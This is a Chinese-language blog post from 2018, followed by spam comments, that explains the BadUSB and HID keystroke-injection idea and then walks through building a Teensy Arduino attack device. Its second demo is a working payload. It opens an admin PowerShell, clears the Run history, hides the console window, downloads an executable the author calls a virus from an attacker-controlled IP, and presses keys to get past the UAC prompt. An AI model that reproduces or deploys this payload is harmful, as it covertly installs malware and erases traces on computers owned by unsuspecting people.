Jack's Blog

流淌的心,怎能阻拦,吹来的风,又怎能阻挡。

Teensy 实现USB攻击

Jacob posted @ Feb 28, 2018 09:50:45 PM in Arduino with tags Teensy Arduino USB端口攻击 , 1862 阅读

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。 

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战

USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

 

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造

U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

原理部分就不赘述了,接写来我们讲准备部分。


要实现USB端口攻击,我们需要:

1.Teensy 开发板(淘宝上有卖40块左右,都可以使用)

2.Arduino IDE (去官网上下载最新版本,请合理使用百度)

3.Teensy 客户端 https://www.pjrc.com/teensy/td_download.html

如果你想更深入了解关于黑客知识和理论,建议你使用 BACK I TRACK 龍 系统。


实战部分:

1.新建一个demo

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:

}
// step 是初始化程序的地方
// loop 是我们要放置循环的地方

2.库函数及相关参数

#include<Keyboard.h>  //包含键盘模块的头文件

Keyboard.begin();  //开启键盘通信

Keyboard.press();  //按下某个键

Keyboard.release(); //释放某个键

Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/

Keyboard.end();  //结束键盘通信

3.demo 1

#include<Keyboard.h> //包含键盘模块头文件

void setup(); //初始化

Keyboard.begin();//开始键盘通信

delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 

Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

Keyboard.release(KEY_CAPS_LOCK); //释放大写键

delay(500);

Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 

delay(500); 

Keyboard.press('r');//按下r键 

delay(500); 

Keyboard.release(KEY_LEFT_GUI);//松掉win键 

Keyboard.release('r');//松掉r键 

delay(500); 

Keyboard.println("cmd");//输入cmd进入DOS

delay(500); 

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500); 

Keyboard.println("echo first test");

Keyboard.press(KEY_RETURN);  //按下回车键

Keyboard.release(KEY_RETURN); //释放回车键

delay(500);

Keyboard.press(KEY_CAPS_LOCK); //按下大写键

Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

delay(500);

Keyboard.end();//结束键盘通讯 

} 

void loop()//循环,这里的代码

{ 

//循环体 写入你要循环的代码

}

编译成功

烧入程序

4.demo2

Keyboard.println("powershell.exe -command start-process powershell -verb runAs");  /*开启管理员级别的powershell*/

Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/

Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口

Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象

Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')");  /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/

//自己想了一个比较笨的方法绕过UAC  就是询问管理员是否同意的那个框框

Keyboard.press(KEY_LEFT_ARROW); //按住左方向键

Keyboard.release(KEY_LEFT_ARROW); //释放左方向键

Keyboard.press(KEY_RETURN); //按下回车键

Keyboard.release(KEY_RETURN);//释放enter键
  1. 这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持,其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥
  2. 另外要注意的地方是在IDE编程的时候,指定目录是要用\\ 双斜杠。
  3. 这些命令字母的大小写是这样的,因为我们在程序开头执行了开启大写键的这个操作 ,所以我们想还原真实的字母就要在IDE里面把小写的改成大写,大写的改成小写 这样程序输出的时候就是我们想要的结果 
  4. 还有就是delay();  延这个东西自己把握,不是说值都是唯一的。我这里可能相对来说比较慢

最后附上键值表

Key            Hexadecimal value    Decimal value

KEY_LEFT_CTRL         0x80         128

KEY_LEFT_SHIFT        0x81         129

KEY_LEFT_ALT          0x82         130

KEY_LEFT_GUI         0x83         131

KEY_RIGHT_CTRL        0x84         132

KEY_RIGHT_SHIFT        0x85         133

KEY_RIGHT_ALT        0x86         134

KEY_RIGHT_GUI         0x87         135

KEY_UP_ARROW         0xDA         218

KEY_DOWN_ARROW        0xD9         217

KEY_LEFT_ARROW        0xD8         216

KEY_RIGHT_ARROW        0xD7         215

KEY_BACKSPACE        0xB2         178

KEY_TAB            0xB3           179

KEY_RETURN         0xB0         176

KEY_ESC             0xB1         177

KEY_INSERT         0xD1         209

KEY_DELETE         0xD4         212

KEY_PAGE_UP         0xD3         211

KEY_PAGE_DOWN        0xD6         214

KEY_HOME             0xD2         210

KEY_END             0xD5         213

KEY_CAPS_LOCK         0xC1         193

KEY_F1               0xC2         194

KEY_F2              0xC3         195

KEY_F3              0xC4         196

KEY_F4              0xC5         197

KEY_F5              0xC6         198

KEY_F6              0xC7         199

KEY_F7              0xC8         200

KEY_F8              0xC9         201

KEY_F9              0xCA         202

KEY_F10             0xCB         203

KEY_F11              0xCC         204

KEY_F12             0xCD         205

参考http://www.freebuf.com/sectool/107242.html


FAQ

1.'Keyboard' was not declared in this scope?

安装keyboard库就好。具体查看Arduino官网。

http://www.visualmicro.com/forums/yabb.pl?num=1412496583

 

  • 无匹配
  • 无匹配
Avatar_small
Ali Darley 说:
2018年7月15日 17:25

Proper information about bad USB as you try to point out in this share, this is very helpful for users buddy. Now students of whole world can hire best custom essay service online in easy way for writing of mistake free works.

Avatar_small
roblox robux 说:
2018年8月24日 17:31

This is a very amazing post by the author for us to read.

Avatar_small
mafia city 说:
2018年9月03日 16:46

This skill has a cooldown of 20 hours so you can use it at least once everyday. If you login to your farms 4 times a day, you can do metal one time with the skill activated and your primary resource 3 times.

Avatar_small
io game 说:
2019年10月08日 12:28

You're my end and my beginning
Even when I lose I'm winning

Avatar_small
NCERT Physics Questi 说:
2022年9月29日 14:13

Based on the newly revised syllabus and curriculum the NCERT has introduced Physical Science sample paper suggestions are published to know the new exam scheme of Term-1 & Term-2 exams such as SA1, SA2, FA1, FA2, FA3, FA4, Assignments and etc. NCERT Physics Question Paper Class 9 Those who have downloaded and studied the NCERT 9th Class Physics Sample Paper 2023 Pdf can get the complete structure of the exam for Part-A, Part-B, Part-C and Part-D exams for Paper-1 & Paper-2.

Avatar_small
Emma 说:
2023年1月20日 19:15

Good to see the details regarding the implementation of the USB attack you have shared here. The author in this diamond rings article introduces the two types of attacks using HID (Human Interface Device, which is a device that directly interacts with humans, such as keyboards and mice, etc.) before BadUSB appeared. Godo to see the details shared here.

Avatar_small
CIF number of SBI 说:
2023年1月25日 17:25

CIF abbreviated as Customer Information File is an official file which saved at Bank database when account created. These CIF files do contain important information about the SBI account holder along with the demographic information. CIF number of SBI State Bank of India does provide a unique CIF number to each CIF file when it created. So that it becomes easier to locate the file with respect to the customer account number. State bank of India is a leading bank in India with its branches around the world.


登录 *


loading captcha image...
(输入验证码)
or Ctrl+Enter